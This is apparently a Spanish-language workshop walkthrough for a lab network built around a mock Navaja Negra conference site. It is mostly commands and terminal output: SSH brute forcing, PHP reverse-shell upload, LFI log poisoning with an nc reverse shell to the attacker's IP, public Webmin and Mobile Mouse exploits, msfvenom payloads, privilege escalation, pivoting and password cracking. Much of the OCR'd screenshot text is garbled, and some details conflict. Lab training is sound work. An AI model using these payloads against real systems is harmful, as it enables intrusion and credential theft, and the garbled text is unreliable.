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CONFERENCE

1. Contexto

Nos enfrentamos a un entorno formado por multiples maquinas en distintas redes donde
aplicaremos diferentes técnicas de elevacion de privilegios, enumeracion, post-

explotacion, AD, pivoting... El esquema del laboratorio es el siguiente:

Segmantc Sogmento

s Bechus Red Interna Segmento AD
ServerWimAdmin

a—— AR —

Maquing d¢
aague - ——— e
o —— s - =
Servidor Web Bacwup Server Worsatation 01
Dominio oco
Navapsneg! s Com
LinurWebAdmin

El vector de entrada al sistema sera el sitio Web del congreso Navaja Negra,

navajanegra.com. Comenzamos.

2. Dominio “navajanegra.com”

2.1. Enumeracion

2.1.1. Enumeracion de puertos
Vamos a comenzar enumerando los servicios que tiene abiertos el servidor donde se

encuentra el sitio Web.

-[~/Desktop/tallernavaja/serverweb]
—I 1 te 500 navajanegra.com
Starting Nmap 7.94 ( https://nmap.org ) at 2 13 @4:50 EDT
Nmap scan report for navaj ra.com (192.168.1@.
Host is up (@ s latency).
closed tcp ports (conn-refused)
STATE SERVICE

open ssh
open http
open snet-sensor-mgmt

Mot shown: &5

Nmap done: 1 IP address (1 host up) scanned in 6.1




Tres puertos abietos: 22, 80 y 10000. El siguiente paso sera la enumeracion detallada de

estos tres servicios.

~/Desktop/tallernavaja/serverweb
- navajanegra.com
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 04:51 EDT
Nmap scan report for navajanegra.com (192.168.10.5)
Host is up (0.00043s latency)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu®.7 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
2048 df:16:f5:1 . t44:18: 83 (RSA)
256 36:8a:dc:bb 713 :cd: : - 1 (ECDSA)
_ 256 7c:06:0c:91:0c:ee:8a:f1:44:b3: - :
80/tcp open http Apache httpd
_http-title: Navaja Negra
| _http-server-header: Apache/2.4.29 (Ubuntu)
10000/tcp open http MiniServ 1.8960 (Webmin httpd)
_http-title: Site doesn’'t have a title (text/html; Charset=iso-8859-1).
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 36.67 seconds

VERSIONES

e Puerto 22 > SSH > OpenSSH 7.6
e Puerto 80 > HTTP > Apache httpd 2.4.29
e Puerto 10000 > HTTP > MiniServ 1.890

2.1.2. Enumeracion Web

El primer objetivo del laboratorio est4 ejecutando un puerto 80. Veamos su contenido.

& Mavaja Negra

'lil'n'ﬂi-'JI'Il:l; ra.com

St e

Bienvenido a Navaja Negra

Ultimas noticias

Kantente ir

Parece el sitio Web del congreso de Ciberseguridad "Navaja Negra". Vamos a enumerar
por un lado vectores vulnerables de acceso al sistema, y por otro, directorios y archivos

que podemos encontrar en el sistema.
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2.1.2.1. Enumeracion de archivos y directorios

~/Desktop/tallernavaja/serverweb
http://navajanegra.com 200,301

1ons HTTH ethod Thread

Output File: /home/kali/.dirsearch/reports/navajanegra.com/_23-10-13_04-56-29.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-10-13_04-56-29.1¢

- http://navajanegra.com/css/

— http://navajanegra.com/img/

— http://navajanegra.com/uploads/

Encontramos dos cosas interesantes, por un lado, un directorio /uploads, que nos puede
indicar que existe una carga de archivos y, por otro lado, un archivo "db" que puede ser
algun tipo de base de datos con credenciales del sistema. Vamos a descargar este archivo

para ver su contenido.
File Edit View Tools Help
B New Database B Open Database ) [ 3 [ 3
Database Structure  Browse Data = Edit Pragmas  Execute SGL

Table: B partners a2 BB A

id name password desc

navajanegra navaja2023... support account for internal use
2 linda SuperSecret! user account Linux WebAdmin
rrodenas navajanegraz23

elhackeretico elhackeretico2021

Encontramos multiples credenciales de usuarios que pueden ser validos en el sistema.
Con estas credenciales vamos a confeccionar los diccionarios de usernames y passwords

que iremos completando a lo largo del laboratorio.

2.1.2.2. Enumeracion de vectores vulnerables
Una vez completada la enumeracion de archivos y directorios, vamos a comenzar a buscar

posibles vectores vulnerables en el sitio Web.
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& Navaja Negra

&Jbe‘Lu CFP

Bienvenido a Navaja Negra

Sube tu CFP

Seleccionar archivo

Cargar archive

Como bien suponiamos durante la enumeracion de directorios, existe una funcién para
cargar archivos en el sistema. Posible vector para cargar reverse shells. Seguimos

enumerando.

®  NavajaMNegra

« > Cw

Su hp T” CFP

Bienvenido a Navaja Negra

Si analizamos la URL, vemos la forma que utiliza el servidor Web para cargar las
diferentes paginas del sitio. Esto puede sugerir que estamos ante una vulnerabilidad de

LFI pero debemos comprobarlo.

Tavajanegra.comiinces phoipayge

nee Gulenes sz m

Bienvenido a Navaja Negra
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Estamos en lo cierto, el sitio Web presenta una vulnerabilidad de LFI que posteriormente,

en la fase de explotacion, trataremos de utilizar para acceder al sistema.

2.2. Explotacion
2.2.1. Meétodo 1 (ssh)

Disponemos de diccionarios con credenciales del sistema y el objetivo tiene disponible el

puerto 22. Vamos a comprobar si podemos utilizar este vector para acceder al sistema.

~/Desktop/tallernavaja

usermnames.txt passwords.txt navaja

)} 2023 by van Hauser/ & David Maciejak lease do not wse im mili
1 and ethi )

3 er-thc/thc-hydra arting at 2023-10-13 @5:21:0€2
[WARNING] Man: gurations 1limit the number of parallel 3 it is r
[DATA] ma> v 16 t

[DATA] : ' a. /

[22 1 : 5 1 1avajanegra SSWOT

1 of 1 t: | vali d found

Hydra (htt -thc/thc-hydra) finished at 2023-10-13 @5:21:05

Obtenemos las credenciales navajanegra:navaja2023. Vamos a utilizar estas credenciales

para acceder al sistema.

~/Desktop/tallernavaja
naw ) i
e authent ra (192.1
ey Fi rprint is 256: XNSMkgIJ@TDNteRSTR
n by the wi ther na
:1: [hashed name]
ure you want to continue conmecti
Permanently added 'navajan

a.com'

(GNU/Linux 4.15.

Obtenemos acceso como usuario navajanegra.

2.2.2. Método (RFI)
Otro posible vector para acceder al sistema que encontramos es una funcion que tiene el
sistema para enviar CFP. Vamos a cargar un archivo malicioso para tratar de ejecutarlo en

el sistema y obtener conexion remota. El sitio Web esta construido en PHP asi que vamos

£l RACKER
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a cargar una reverse PHP. Modificamos la reverse para adaptarla a nuestra direccion IP

y puerto de escucha.

- 1400;1
null;
null;
uname -a; w; id; /bin/sh -1i';

Y la cargamos en el sistema.

®»  Navaja Negra - Subida Exitos =

O & navajanegra.com/uplo:

Subida Exitosa

El archivo se ha subido satisfactoriamente.

Volver

Ahora, por un lado, configuramos un oyente nc en el puerto 1234 y por otro, ejecutamos
el archivo cargado desde el directorio /uploads que descubrimos en la fase de

enumeracion de directorios.

=) * Index of juploads

o J & navajanegra.com/uploads/

Index of /uploads

Name Last modified Size Description

ﬁ Parent Directory .
@) php-reverse-shell. php 2023-10-13 09:36 5.4K

Apache/2.4.29 (Ubuntu) Server at navajanegra.com Port 80

£l RACKER
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https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)

~/Desktop/tallernavaja/serverweb

listening or ny] 1234 ...
92.168.10.6] from (UNK N) [192.168.10.5] 49242
4.15. generi untu SMP Mon J 19 13:39:12 UTC 2023 x86_64 xB6_64 x86_64 GNU/Linux

: .07, 0.02, 8.00

IDLE JCPU PCPU WHAT
0.10s ©.09s -bash
0.86s 0.06s -bash

.$ id

uid-33(ww-data) gid-33(wmw-data) groups~33(ww-data)
$ whoami

ww-data

Volvemos a obtener acceso al sistema aprovechando la posibilidad de cargar archivos

maliciosos.

2.2.3.  Método 3 (LFI)

Durante la enumeracion de posibles vectores vulnerables del sitio Web, encontrabamos
una vulnerabilidad de LFI. Esta vulnerabilidad podemos aprovecharla de varias formas,
en funcidon de cémo estén configurados los permisos del sistema. Podemos enumerar
archivos del sistema que puedan contener claves privadas, credenciales... y por otro lado,
podemos aprovechar esta vulnerabilidad de LFI para derivar en una vulnerabilidad de

RCE a través de un ataque de "log poisoning". Vamos a ello.

Comenzamos enumerando posibles archivos comprometidos del sistema. En la
enumeracion inicial encontrdbamos un usuario "navajanegra" y el sistema esta ejecutando

un servicio SSH, por lo que vamos a tratar de encontrar la clave id_rsa para este usuario.

m e TR

Bienvenido a Navaja Negra

Podemos acceder a la clave id_rsa del usuario "navajanegra". La descargamos y tratamos

de acceder al sistema con ella.

)-[~/Desktop/tallernavaja/serverweb]
id_rsa

)-[~/Desktop/tallernavaja/serverweb ]
600 id_rsa
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ETICO,



NAVAJA NEGRA
CONE

- ~/Desktop/tallernavaja/serverweb
— navajanegradnavaj com -1 id_rsa
Welcome to Ubuntu 18.84.6 LTS (GNU/Linux 4.15.0-213-generic

*= Documentation: https elp.ubuntu.com
/landsca

5 for enp@s17: 1
10

* Strictly confined Kubernetes makes edge and IoT secure. Learn how Micr
just raised the bar for easy, resilient and secure K8s cluster deploym

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

42 updates can be applied immediat
To see these additional updates ru

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Failed to connect to https://changelogs.ubuntu.com/meta-re -lts. Chec our Internet connection

Last 1 : < 1 2023 from 192.168.10.6

navaja alinnwebse

Y volvemos a obtener acceso al sistema.

Ahora aprovechando también esta vulnerabilidad de LFI, vamos a tratar de convertir esta

vulnerabilidad en RCE utilizando el ataque de log poisoning. Vamos a ello.

Primero, comprobamos si podemos acceder a los archivos de logs del servidor Apache.

B Hawaja Negra

m et

Bienvenido a Navaja Negra

168.1.14
Jit:

Podemos acceder a los archivos de logs del sistema. Ahora vamos a tratar de envenenar

este archivo. Para ello, vamos a utilizar la herramienta BurpSuite.
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Respanse
8w = P—— _— - Rendar 8~ =
| . 7 107 168 18 F (13000172677 1886 &1 -B088] "GET

! _iverilogiapached feccess Jogtomd=adHTTPS L

T e Apace e {index phpTpages= r dor i harflegfagacheldaccess . loghomd=1d

-ReauesLL ] HTTF/1.17 488 483

1112/5. 8] <Iphp systes|$ GETI'ced']); 7»|Chroses115.8.5798.171 B 192 I6E.1R.6 - - BI1:18c@GRL +BIE] CGET

- findex phplpeges . .. Foldhvarflogfepachel/access . loghomd=1d
HTT#/1.1° 488 4

83 e e
ol whtml+oml, applicstion/zeliq=8. 9, imageiavif, imsge feshp, image/apng 192.168.19.6 l "f'"'.”‘_‘ 10:96:43 +DG8] "GET

change, u=hi, q=f 7 m_r'.n: r-:|:'-‘[|.":r'- ‘ Food.oharflegfagachelddaccess . Toghomd=id
HTTF/L.17 &80 483 "«
192 168.18.6 - - [13/0ct/2003:19:96:19 +099Q] "GET
F1ndex . php?peage: Food o T il dvarflogfegacheliaccess. loghomd=1d
HTTR1. 1% 488 483
192 168 18 6 (130t 2803 18 88 17 +838] “GET
fngex pepdpages 5 04 F i /yarilogtan gig. log HTTPA1.1" @
I 162946 "-" "MoI1llarS. @ ulf=33(www-dita) gid=-33
QIoens= 31 (wed-0aTs)

Chromer113.8.3/90.101 datarasdadr o

Podemos ejecutar comandos en el objetivo. Vamos a aprovechar esto para tratar de

ejecutar una reverse shell hacia nuestro sistema de ataque.

Request
Raw Hex 8 n =

1 GET Findex.php?page=_./_./ . _/f_ /. _/__/_ _ivarflogfapachei/access_loghcmd=

m+/tmps Th3IbmkFifo+/ tmp/Thibcat+ tmp/T|shs-i+2=%261 nc—192.158.18.5—1234—>ftmpfﬂ

HTTPS1.1

Host: navajanegra.com

Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/s5.@ <?php system($_GET["cmd"]); ?= Chrome /115 & 579%8.171
Safarif53v. 36

5 AcCcept:
text html,applications/xhtml+xml, application/xml;q=8.9, imagesavif, image  webp, imagesapng
/% q=8_8 application/signed-exchange;v=b3;q=8.7

5 Accept-Enceding: gzip, deflate

Accept-Language: en-U5s, en;q=8.%9

Connection: close

[y N |

m i |

Configuramos un oyente nc en el puerto 1234 donde recibiremos la conexion.

[~/Desktop/tallernavaja/serverweb]

) 4 ..
connect to [192.1¢ 6] from (UNKNOWN) [192.168.10.5] 58544

sh: 8: can't acce v; job control turned off
% id
uid

3 |

www-data) gid=33(www-data) groups ( wew-data)

Y volveremos a obtener conexion en la maquina objetivo aprovechando la vulnerabilidad

de LFI para ejecutar comandos remotos.

2.3. Pivotando de www-data a navajanegra

En dos de los casos de acceso al sistema que vimos anteriormente, accedemos como
www-data al sistema, lo cual nos deja muy capados a la hora de elevar privilegios.
Debemos pivotar a un usuario del sistema antes de comenzar el proceso de elevacion de

privilegios.

Enumeramos archivos interesantes a los que podemos tener acceso como www-data.

11



I 1.
listening on [: or
COMNMNE to [192.168.10.6] from (UNKNOWN) [192.168.10.5]

can't access tty; job control turned off

-data) groups (www-data)
dev/null
/home/navajanegra/.ssh;

s 1

Parece que podemos acceder a la clave id rsa del usuario navajanegra. Vamos a

comprobar si podemos realizar la conexion con esta clave privada.

Obtenemos acceso al sistema como navajanegra.

2.4. Elevacion de privilegios

24.1. Método 1 (LD _PRELOAD)
Una vez tenemos acceso al sistema como usuario navajanegra, vamos a comenzar el
proceso de elevacion de privilegios. Comenzamos enumerando aquellos ejecutables que
puede utilizar el usuario navajanegra como usuario de maximos privilegios con necesidad

de contrasena.

Previamente, vamos a configurar una interfaz interactiva.

12



which python .
‘bin/python

5 dn-—l
Matchi

Secure n;

env_keep+=LD_PRE
User navaiane av_run the fnllowing commands on nnwebserver:
(ALL : ALL) NOPA : fusr/bin/find
navajanegragnnwebserve
Existen dos formas de elevar privilegios: a través de binario ejecutable "find" y

aprovechando la variable LD PRELOAD. Vamos a ello.

Para aprovechar la presencia de la variable LD PRELAOD, debemos crear un archivo
shell.c en nuestra maquina de ataque que posteriormente, enviaremos al objetivo. El

codigo es el siguiente.

#include
#include

gcc -fPIC -shared

El archivo resultando lo enviamos a la maquina objetivo utilizando un servidor HTTP

Python.
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Una vez transferido el archivo al directorio /tmp del objetivo, ejecutamos el siguiente

comando:

Y obtendriamos acceso con privilegios maximos en el servidor Web

2.4.2. Meétodo 2 (Vulnerabilidad miniServ 1.890)

En el puerto 10000 de la maquina objetivo se esta ejecutando un servicio miniServ 1.890
que presenta una vulnerabilidad de RCE que nos permite acceder al sistema con
privilegios maximos. Vedmoslo.

~/Desktop/tallernavaja/serverweb
CVE-2019-15107.py

usage: CVE-2019-15107.py [-h] [-b BASEDIR] [-s] [-p PORT] [--accessible] [--force] target
CVE-2019-15107.py: error: the following arguments are required: target

El exploit CVE-2019-15107.py nos permitira acceder al sistema.
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- ~/Desktop/tallernavaja/serverweb]
CVE-2019-15107.py navajanegra.com

1
addre
ort num

t lis

-[~/Desktop/tallernavaja/serverweb]
| 1234

listening on [any] 12 or
connect to [192.168.1 1f
/bin/sh: B: can't access tt
# id
uid=@8(root) gid=@(root) groups=0(root)
# whoami
root

|

rom (UNKNOWN) [192.168.108.5] 50778
v; Jjob control turned off

Y ya habremos accedido al sistema con privilegios maximos.

2.5. Post-explotacion

Una vez hemos obtenido privilegios maximos en el sistema, vamos a enumerar

credenciales, redes a las que tiene acceso este sistema...
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& ip addr
1p addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
/Loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8
valid_lft f
inet6

): enp@s8: <BROADCAST

link/ether 0:27 4:d7 brd Ff:ff:ff:ff:FF:¢Ff
.255 scope global dynamic enp@s8
t 564sec
scope link
_1ft forever
TICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default gqlen 1000

scope link
forever

El sistema tiene acceso a dos redes: 192.168.10./24 que es la red a la que tenemos acceso

desde nuestra maquina de ataque y la red 10.0.2.0/24, que es la nueva red descubierta.

La busqueda de credenciales del sistema no aporta ningun resultado.

3. Pivotando al segmento de red 10.0.2.0/24

Durante la fase de post-explotacion hemos descubierto que el servidor Web tiene
conexion con dos segmentos de red: 192.168.10.0/24 y 10.0.2.0/24. Al primero de ellos,
tenemos conexion desde nuestra maquina de ataque, pero al segundo no, por lo que
deberemos realizar un proceso de pivoting entre redes. Para ello, vamos a utilizar la
herramienta LigoloNG. Ligolo es una herramienta que crear conexiones entre segmentos
de red a través de VPN, por lo que ya no es necesario el de proxychains, podemos hacer
enumeraciones UDP, tenemos menos perdida de velocidad de enumeracion al pivotar
entre los diversos segmentos. Tampoco es necesario obtener privilegios maximos en el

sistema de pivote para poder saltar de un segmento a otro.
Vamos a configurar LigoloNG.
Configuramos la interfaz tun necesaria para poder trabajar con LigoloNG.

sudo ip tuntap add user kali mode tun ligolo

a
sudo ip link set ligolo up

Posteriormente, podemos iniciar el servidor en nuestra maquina de ataque de la siguiente

forma.
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-[~/Desktop/tallernavaja/ligoloNG]

(Not recommended)

17

Made in France v by alNicocha

ligolo-ng » ]

Por otro lado, en el equipo de pivote debemos enviar un binario agent, en este caso para

Linux. Lo enviamos utilizando un servidor HTTP con Python.

2 1@ 2
Zonnecting to 19 :
iTTP requ : awaiting response ...
2 ( ation/octet

chmod +X agenr.

./agent —connect 192.168.10.6:11601 -ignore-cert

me="2023-10-13T12:18:49Z" level=warning msg="warning, certificate validation disabled"
time="2023-10-13T712:18:49Z" level=info msg="Connection established" addr="192.168.10.6:11601"

De esta forma, ya tendremos conexion en el nuevo segmento de red desde nuestra

maquina de ataque.

~/Desktop/tallernavaja/ligoloNG

automatic ierated self-signed certificates (Not recommended)
ning on 9.0,

6] Agent joined. ~root@nnwebserver

start
[8248] Starting tunnel to root@nnweb

Ahora debemos anadir el nuevo segmento de red a nuestra tabla de enrutamiento.




I-[~/Desktop/tallernavaja/ligoloNG]
sudo ip route add 18.8.2.8/24 dev ligolo
[sudo] password for kali:

Y a partir de este momento podemos comenzar a enumerar el nuevo segmento de red.

4. Enumeracion de segmento 10.0.2.0/24

Una vez hemos configurado Ligolo, comenzamos a enumerar este segmento para

comprobar que maquinas tienen conexion en €l.

pesktop/tallernavaja/ligoloNG

Recordando que la IP 10.0.2.5 es el servidor Web que hemos utilizado de punto de pivote,
hemos descubierto dos nuevos equipos: 10.0.2.4 y 10.0.2.6. Podemos comenzar con la

enumeracion de cada uno de los equipos.

£l RACKER
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5. 10.0.2.4

5.1. Enumeracion

5.1.1. Enumeracion de puertos

~f/Desktop/tallernavaja/ligoloNG
' 19

TE SERVICE VERSION
OpenSSH 7.6pl Ubuntu subuntud.7 (Ubuntu Linux; protocol Z.@)

~/Dpesktop/tallernavaja/ligoloNG

Como comprobamos anteriormente, el equipo con IP 10.0.2.4 tiene Ginicamente el puerto

22 abierto.

5.2. Explotacion

Durante la enumeracion, determinamos que este equipo solo tiene abierto el puerto 22.
De la enumeracion del servidor Web pudimos extraer una serie de usuarios y contrasefias.

Vamos a utilizarlas para tratar de acceder al sistema

~/Desktop/tallernavaja
usernames.txt

Hydra Chttps:/
[WARNING] Many
[DATA] max
[DATA] atta

1]

[22][ssh

SuperSecret!

Determinamos que existe el usuario linda en el sistema y que su contrasefia es

SuperSecret! Vamos a tratar de acceder al sistema a través de SSH

£l RACKER
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rom 10.0.2.5

(linda) groups~1008(linda),4(a

Accedemos al sistema como usuario linda. Proxima parada, la elevacion de privilegios.

5.3. Elevacion de privilegios

El usuario con el que tenemos acceso al sistema no puede ejecutar comandos como sudo

en el sistema. Necesitamos otro vector de elevacion de privilegios.

Otro posible vector de elevacion de privilegios son los binarios con permisos SUID.

Vamos a enumerarlos.

£l RACKER
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{ -perm -u=s -type T 2Z>/dev/null
rent-helper-1

fdmcrypt
nap-confine

'i' I

Encontramos un binario que nos va a permitir elevar privilegios. Comprobamos el sitio

Web GTFOBIns para ver como aprovechar este vector para elevar privilegios.

|suiD

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file
system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p
argument on systems like Debian (<= Stretch) that allow the default s shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with
an existing SUID binary skip the first command and run the program using its original path.

Obtenemos acceso al sistema como usuario con privilegios maximos.

5.4. Post-explotacion

Comenzamos la fase de post-explotacion donde trataremos de encontrar las redes a las

que esta maquina tiene acceso, credenciales y otros archivos de interés.

£l RACKER
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UNKNOWN

22

len 1000

Vemos que esta maquina tiene acceso a la red 10.0.2.0/24 (red conocida) y a la red

172.25.10.0/24 (red que hemos descubierto).

No encontramos archivos de interés en la fase de post-explotacion.

6.10.0.2.6

6.1. Enumeracion

6.1.1. Enumeracion de puertos

Vamos a enumerar de forma detallada los puertos abiertos de este sistema.

~/Desktop/tallernavaja
18.9.2.6

fipd
IIS httpd 10.0

MsEpC icr i RPC
netbi M i netbios

on: 10.0.19041
B23-10-13T19:14:07+00:00
Subject: commonName=D TOP-

£l RACKER
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| Mot walid hE:aFE:
| _Not walid after:

ourOhFourR
HTTP/1.0 200 OK
Server: Mobile Mo
Content-Type:
Content-Le

VERSIONES

e Puerto 21 > FTP > Microsoft FTP

e Puerto 80 > HTTP > Microsoft IIS httpd 10.0

e Puerto 135 > MSRPC Microsoft Windows RPC
e Puerto 139 > NETBIOS- SSN

e Puerto 445 > SMB

e Puerto 3389 > RDP

e Puerto 9099 > Mobile Mouse Server

6.2. Explotacion

Durante la enumeracion de puerto hemos visto que en el puerto 9099 se esta ejecutando
un servicio Mobile Mouse Server. Vamos a tratar de buscar versiones vulnerables que nos

permita acceder al sistema.

https://www.exploit-db.com/exploits/51010

Descargamos el exploit a nuestra maquina de ataque.

~/Desktop/tallernavaja/10.8.2.6
510108. py
510108.py [-h] ] . ' ILE] [—1lhost LHOST]
.py: error: the foll g arg s EQUltHd —target

A continuacion, configuramos el exploit



https://www.exploit-db.com/exploits/51010

~f/Desktop/tallernavaja/10.0.2.6
51010.py 18.8.2.6 shelllexe

Y configuramos el oyente en nuestra maquina de ataque. Antes debemos configurar el
reenvio del puerto 1234 en LigoloNG. También configuraremos el reenvio del puerto
8081 que utilizaremos para transferir archivos utilizando un servidor HTTP Python. Lo

hacemos de la siguiente forma:

gent : root@nnwebserver] » listener_a 234 —to 127.0.0.1:1234 —tcp
[3896] Liste

Agent root i I ] L] e 3 -—addr 0.0.0.0:8081 --to 127.8.0.1: 81
[3915] Listenmer created on nt!

Levantamos el servidor Python HTTP que servird para enviar el archivo malicioso a la

victima y ejecutamos el exploit.

~/Desktop/tallernavaja/10.0.2.6
51010.py | t 10.¢@ fi shell.exe
uting The Command Shell ...
Take The Rose

Y en el oyente que hemos configurado obtendremos la conexidn reversa y acceso al

sistema.

~/Desktop/tallernavaja/10.0.2.6
1234
listening on [any] 1234 ...
connect to [12 .@.1] from (UNKNOWN) [127.0.8.1] 53070
Microsoft Windows [Version 18.8.19845.2546]
(c) Microsoft Corporation. All rights reserved.

“Windowsh\Temp>whoami

whoami
desktop-tsifmfdiuser

C:\Windows\Temp>J]

6.3. Elevacion de privilegios

Una vez hemos obtenido al sistema, comenzamos el proceso de elevacion de privilegios.

Comenzamos enumerando los privilegios que dispone el usuario actual.
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\Temp>whoami /
mi Spriv

PRIVILEGES INFORMATION

Description

utdownPrivile Shut down the system Disabled
MNoti ege ) cking Enabled

riv Remove computer fre ing ion Disabled
tPrivilege Increase a process working se Disabled

Change the time zone Disabled

WWindows\Temp>[]

No parece que haya ningin privilegio interesante. Seguimos enumerando. Vamos a
utilizar la herramienta SharpUp.exe que nos va a permitir enumerar posibles vectores de
elevacion de privilegios. La enviamos al sistema objetivo utilizando un servidor HTTP

configurado en el puerto en el cual tenemos configurado el reenvio de puertos.

-0 SharpUp.exe

Time Time
F Total Spent
100 39424 100 39424 @ 1473k B —:—: T

Utilizaremos la direccion IP de la méquina que utilizaremos de punto de pivote.
Una vez transferido el archivo, ejecutamos de la siguiente forma:

SharpUp.exe audit

Services with Unguoted Paths =
Service 'unguotedsvc®' (StartMode: L) ible "C:%Prog

Encontramos el siguiente posible vector de elevacion de privilegios. Vamos a tratar de

ejecutarlo.

Podemos leer el mensaje "C:\Program Files\Unquoted Path Service\Common' is
modifable" lo que significa que si afiadimos un ejecutable malicioso Common.exe y

reiniciamos el servicio podemos obtener privilegios elevados en el sistema.

Primero, creamos el archivo malicioso.

msfvenom -p window fshell_reverse_tcp LHOST=1¢ 2 > Common.

£l RACKER
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Transferimos el archivo malicioso haciendo uso de un servidor HTTP Python en el puerto
8081, en el cual ya tenemos configurado el reenvio de puertos. Una vez completado el
envio, reiniciamos la aplicacion en el objetivo y configuramos un oyente nc en el puerto

1234 de nuestra maquina de ataque.

~f/Desktop/tallernavaja/10.08.2.6
1234
g on [any] 1234
@.0.1] from (UNKNOWN) [127.0.0.1] 34802

C:
whoami
nt authority

6.4. Post-explotacion

Después de obtener privilegios elevados, comenzamos la fase de post-explotacion donde
trataremos de obtener nuevas redes donde este equipo tiene conexion y archivos que

puedan contener informacion interesante.

~/Desktop/tallernavaja/10.8.2.6

Connection-s =
Link-loca b - - - - BO::fc4@:10b@:F235:3e3T%7

IPv4 Addre
Subnet M3
Default

£l RACKER
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Esta méaquina tiene una tinica conexién de red.

Ahora comenzamos a enumerar archivos interesantes del sistema

Encontramos un archivo de keepass que puede contener contrasefias del sistema. Vamos
a enviarlo a nuestra maquina de ataque utilizando el servicio de SMB. Lo hacemos de la

siguiente forma:

En la maquina de ataque configuramos un servidor SMB:

-[~/Desktop/tallernavaja/10.0.2.6]
share : t

Por otro lado, configuramos el reenvio de puertos en Ligolo para el servicio SMB en el

puerto 445.

listener_add --addr ©.06.0.0:445 --to 127.

C:%Files\IT>copy Database.kdbx “\10.0.2
copy Database.kdbx “\10.0.2.5\share\Data
(s) copied.

Una vez recibido el archivo en nuestra maquina de ataque, vamos a tratar de extraer

informacion interesante de él.

Comenzamos tratando de descifrar la contrasefia del archivo kdbx.

-[~/Desktop/tallernavaja/10.0.2.6]
Database.kdbx hashdatabase
3%x2 %60 Q%3 2dcbealab99s

bec3af94914@8

Debemos eliminar "Database: del hash antes de intentar descifrar"
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El siguiente paso sera descifrar la contrasefia a partir del hash generado.

~/Desktop/tallernavaja/10.0.2.6

hashdatabase
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [@=AES 1=TwoFish 2=ChaCha]) is @ for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (?)
1g 0:00:00:00 DONE (2023-10-13 16:49) 1.010g/s 8.080p/s 8.080c/s 8.080C/s 123456 .. rockyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

~/Desktop/tallernavaja/10.0.2.6]

Ya tenemos la contrasena de la base de datos kdbx que es 123456789. Ahora vamos a
tratar de ver que contiene. Utilizamos para ello la herramienta online

https://app.keeweb.info/

[] LinuxSysAdmin
B LinuxSysAdmin

linda linda

M WinSysAdmin

Encontramos dos usuarios en la base de datos de contraseiias: linda y bill. Afiadimos el

usuario bill y su contrasefia a nuestros diccionarios.

7. Pivotando al segmento de red 172.25.10.0/24

Una vez hemos tomado privilegios elevados en ambas maquinas del segmento
10.0.2.0/24, comprobamos que el equipo LinuxSysAdmin tiene acceso a un nuevo
segmento de red, 172.25.10.0/24. Vamos a enviar otro agent a este equipo y lo

configuraremos en este equipo de la misma forma que anteriormente.

£l RACKER
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11601 -ignore-cert
4 ] warning, certificate validation disabled
[@0@0] Connection established

También debemos configurar el reenvio del puerto 11601 para poder realizar la conexion
a través de los diversos segmentos. También podemos configurar los puertos 1234 y 8081
para poder enviar archivos con el servidor HTTP y poder realizar las comunicaciones de

las reverses shells.

Afiadimos el nuevo segmento de red a la tabla de enrutamiento de nuestra maquina de

ataque.

— |

route add 172.25.10.8/24 dev ligolo

A partir de este momento, podemos comenzar a enumerar el nuevo segmento de red.

8. Enumerando el segmento 172.25.10.0/24

Una vez configurada la conexion de nuestra maquina de ataque con el nuevo segmento

descubierto, podemos comenzar a enumerar las diferentes maquinas de esta red.

-[~/Desktop/tallernavaja]
i 25.10.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2023 17:87 EDT
Nmap scan report for 172

PORT STATE SERVICE
53/tcp open domain

Nmap scan report for 172.25
Host is up (@.859s5 latency).
Not shown: 997 closed tcp ports (conn-refused)
POR STATE SERVICE
21/ open ftp
open ssh
open http

Not shown: 997 osed tcp ports (conn-refused)
POR STATE SERVICE
: open ssh

open hotline

open blackice-icecap

Nmap done: 256 addresses (3 hosts up) scanned in 12.89 seconds
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La direccion IP 172.25.10.7 corresponde al equipo LinuxSysAdmin, por lo que hemos
descubierto un nuevo equipo en esta red, 172.25.10.6. Vamos a comenzar con la

enumeracion detallada de este equipo.

9.172.25.10.6

9.1. Enumeracion

9.1.1. Enumeracion de puertos

Comenzamos a escanear de forma detallada los puertos disponibles de este equipo.

.B or later

s at https:/fnmap.

VERSIONES

e Puerto 21 > FTP > vsftpd 2.0.8 (anonymous access)
e Puerto 22 > SSH > OpenSSH 7.6
e Puerto 80 > HTTP > Apache httpd 2.4.49

9.1.2. Enumeracion FTP
Tras la enumeracion de servicios abiertos, vemos que podemos acceder al servidor FTP
sin necesidad de contrasefia y que en su interior existe una clave privada id rsa. Vamos a

descargarla.
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author 31

e e e v e e v v e v v e v e e e e e i e e v e e v v e e e el e e e e e de e e de de de g de de s e o
e

in 00:00

221 Goodbye.

9.2. Explotacion

Descargamos la clave privada del servidor FTP y damos privilegios. Accedemos al

sistema utilizando la clave privada y el servicio SSH.

~/Desktop/tallernavaja
5 B id_rsa

9.3. Elevacion de privilegios

Una vez hemos accedido al sistema, vamos a tratar de obtener privilegios maximos dentro
del sistema. En esta ocasion, vamos a enumerar otro vector de elevacion de privilegios
que no habiamos utilizado a lo largo del laboratorio. Este vector de elevacion de

privilegios, son las capabilities.

carvaraharlbinearvar-~% gotran -r /

cap_setuid+ep

p_setuld+ep
